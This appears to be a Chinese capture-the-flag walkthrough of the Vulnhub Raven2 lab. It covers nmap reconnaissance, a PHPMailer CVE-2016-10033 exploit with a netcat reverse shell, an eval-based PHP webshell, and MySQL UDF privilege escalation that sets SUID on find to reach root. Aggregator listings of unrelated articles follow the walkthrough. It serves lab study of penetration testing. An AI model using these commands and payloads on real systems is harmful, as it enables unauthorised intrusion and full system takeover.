UDF提权

目录

一、UDF概述

二、提权条件

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址

1.2、扫描当前网段,找出目标机器

1.3、快速扫描目标机全端口

2. dirb目录扫描

3. 第一个flag

3.1、目录遍历漏洞

3.2、flag

4. 敏感信息利用

(二) 漏洞利用

1. searchsploit工具搜索exp

2. 更改exp中所需参数

3. 运行exp并开启nc监听

4. 访问exp生成的用于反弹shell的php文件

5. 第二和三个flag

(三) 蚁剑操作

1. 写入一句话木马

2. 蚁剑连接

3. 查看配置信息

(四) 寻找exp

1. searchsploit工具搜索exp

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

5. 验证是否提权成功

6. 第四个flag


环境:https://download.vulnhub.com/raven/Raven2.ova

一、UDF概述

当MYSQL权限比较高的时候我们就可以利用UDF提权。

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。

文件后缀为.dll.so,常用c语言编写。

UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。

MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。

二、提权条件

其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。

如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)

  • MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
  • 拥有可以将udf.dll写入相应目录的权限。

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址
┌──(root㉿hack)-[~]
└─# ifconfig eth0 | grep inetinet 192.168.20.130  netmask 255.255.255.0  broadcast 192.168.20.255inet6 fe80::823a:7455:6959:aac2  prefixlen 64  scopeid 0x20<link>

1.2、扫描当前网段,找出目标机器
┌──(root㉿hack)-[~]
└─# nmap -sP 192.168.20.0/24
/*
-s		指定扫描技术
-P		ping操作
-sP		使用ping操作来寻找存活主机
*/发现目标机为:192.168.20.137

1.3、快速扫描目标机全端口
┌──(root㉿hack)-[~]
└─# nmap -sS -p 1-65535 192.168.20.137
/*
-sS	SYN扫描技术
-p  指定端口
*/

2. dirb目录扫描

┌──(root㉿hack)-[~]
└─# dirb http://192.168.20.137/

3. 第一个flag

3.1、目录遍历漏洞

通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。

3.2、flag

眼疾手快的点了一下PATH发现flag信息以及绝对路径

4. 敏感信息利用

发现一个README.md的说明文档,打开看看。

发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。

(二) 漏洞利用

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit phpMailer		#搜索关于phpMailer的expsearchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中

2. 更改exp中所需参数

vim /root/40974.py
target	#修改为目标IP+端口
payload	#反弹shell的地址修改为攻击机的IP地址
fields→email	#修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)

3. 运行exp并开启nc监听

┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...nc				#nc是netcat的简写,工具命令。
-l				#监听模式。使用此选项后,nc将会监听指定的端口。
-v				#启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
-p 4444		#这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
┌──(root㉿hack)-[~]
└─# python 40974.py█████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.comVersion 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+]  ExPLoITeD http://192.168.20.137/contact.php

4. 访问exp生成的用于反弹shell的php文件

使用浏览器访问:http://192.168.20.137/bug.php转到终端1,可以看到,成功反弹shell成功。
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.20.130] from bogon [192.168.20.137] 40254
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

5. 第二和三个flag

$ find / -name "flag*" 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。

但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。

(三) 蚁剑操作

1. 写入一句话木马

反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。

echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php

2. 蚁剑连接

3. 查看配置信息

这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、

信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。

在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL

(四) 寻找exp

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit mysql UDF		#搜索关于mysql UDF的expsearchsploit -m linux/local/1518.c #将exp保存到当前工作目录中

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

┌──(root㉿hack)-[~]
└─# gcc -g -c 1518.c ┌──(root㉿hack)-[~]
└─# gcc -g -shared -o bug.so 1518.o -lc

将1518.c文件编译成.so文件
将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。.so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
这是因为编译过程分为两个阶段:编译和链接。
编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

create table bug(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。insert into bug values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
这里的目的是将"bug"表中的内容导出为一个共享库文件。create function do_system returns integer soname 'bug.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(bug.so)进行加载。select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。

5. 验证是否提权成功

(www-data:/tmp) $ touch tu
(www-data:/tmp) $ find tu -exec whoami \;
root

SUID权限:
它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。find命令	#指定要搜索的文件或目录的路径
tu				#文件
-exec			#"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
whoami		#在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
\;				#是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。

6. 第四个flag

(www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
(www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/542281.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis:ClassCastException【bug】

Redis&#xff1a;ClassCastException【bug】 前言版权Redis&#xff1a;ClassCastException【bug】错误产生相关资源控制器&#xff1a;UserController("/user")配置&#xff1a;RedisConfiguration实体类&#xff1a;User数据表&#xff1a;User 解决 最后 前言 2…

Linux从0到1——Linux第一个小程序:进度条

Linux从0到1——Linux第一个小程序&#xff1a;进度条 1. 输出缓冲区2. 回车和换行的本质3. 实现进度条3.1 简单原理版本3.2 实际工程版本 1. 输出缓冲区 1. 小实验&#xff1a; 编写一个test.c文件&#xff0c;&#xff1a; #include <stdio.h> #include <unistd.h…

记录一次难搞的编译错误-- qml-rust 项目编译无法找到QtCore库的问题

记录一次难搞的编译错误-- qml-rust 项目编译时无法找到QtCore库的问题 背景开始处理问题1 看日志找关键点2 写最简单测试用例3 写最简单CMake编译的Qt4 发现问题5 开始处理错误过程 1过程2过程3 反思开始找资料&#xff0c;解决自己的困惑。第二次开始解决问题第三次解决问题总…

升入理解计算机系统学习笔记

磁盘存储 磁盘是广为应用的保存大量数据的存储设备&#xff0c;存储数据的数量级可以达到几百到几千千兆字节&#xff0c;而基于RAM的存储器只能有几百或几千兆字节。不过&#xff0c;从磁盘上读信息的时间为毫秒级&#xff0c;比从DRAM读慢了10万倍&#xff0c;比从SRAM读慢了…

Discourse 分类图片

我们可以在 Discourse 上为分类添加图片。 进入分类编辑界面&#xff0c;然后选择 Image 标签。 在 Images 标签下&#xff0c;上传分类需要的图片。 图片大小 图片的大小是 Discourse 进行控制的&#xff0c;高度为 150 PX 像素。 如果上传的图片大于 150 px 的高度像素&…

智慧城市:提升城市治理能力的关键

目录 一、智慧城市的概念及特点 二、智慧城市在提升城市治理能力中的应用实践 1、智慧交通&#xff1a;提高交通治理效率 2、智慧政务&#xff1a;提升政府服务水平 3、智慧环保&#xff1a;加强环境监测与治理 4、智慧安防&#xff1a;提高城市安全水平 三、智慧城市在…

STM32F103 CubeMX 使用USB生成鼠标设备

STM32F103 CubeMX 使用USB生成鼠标设备 1 配置cubeMX1.1配置外部晶振&#xff0c;配置debug口1.2 配置USB1.3 配置芯片的时钟1.4 生成工程 2. 编写代码2.1 添加申明2.2 main函数代码 1 配置cubeMX 1.1配置外部晶振&#xff0c;配置debug口 1.2 配置USB 1.3 配置芯片的时钟 需…

Vulnhub - Jarbas

希望和各位大佬一起学习&#xff0c;如果文章内容有错请多多指正&#xff0c;谢谢&#xff01; 个人博客链接&#xff1a;CH4SER的个人BLOG – Welcome To Ch4sers Blog Jarbas 靶机下载地址&#xff1a;https://www.vulnhub.com/entry/jarbas-1,232/ 0x01 信息收集 Nmap…

openssl3.2 - note - Decoders and Encoders with OpenSSL

文章目录 openssl3.2 - note - Decoders and Encoders with OpenSSL概述笔记编码器/解码器的调用链OSSL_STORE 编码器/解码器的名称和属性OSSL_FUNC_decoder_freectx_fnOSSL_FUNC_encoder_encode_fn官方文档END openssl3.2 - note - Decoders and Encoders with OpenSSL 概述 …

从0开始启动一个Django的docker服务

本文是从0开始启动一个Django的docker服务&#xff0c;包括构建镜像,uwsgi启动服务 在服务器上安装ssh&#xff0c;git&#xff0c;生成公钥并复制到服务器上 # 安装ssh yum install openssh-clients # 生成sshkey ssh-keygen # 查看公钥 cat /root/.ssh/id_rsa.pubclone一下…

腾讯地图的(地图选点|输入模糊匹配)

1.支持用户输入框输入进行模糊匹配获取详细地址以及经纬度2.支持用户模糊匹配后点击选点获取详细地址以及经纬度 1.支持用户输入框输入进行模糊匹配获取详细地址以及经纬度2.支持用户模糊匹配后点击选点获取详细地址以及经纬度 <template><div class"tencentMap-…

【类和对象】类的作用域 | 类的实例化 | 类对象模型 | this指针

目录 5.类的作用域 6.类的实例化 6.1成员的声明和定义 6.2实例化出的对象大小 7.类对象模型❗❗ 7.1如何计算类对象的大小 7.2类对象的存储方式猜测 7.3结构体内存对齐规则 7.3.1内存对齐 7.3.2大小端 8.this指针 8.1this指针的引出 8.2this指针的特性 C和C实…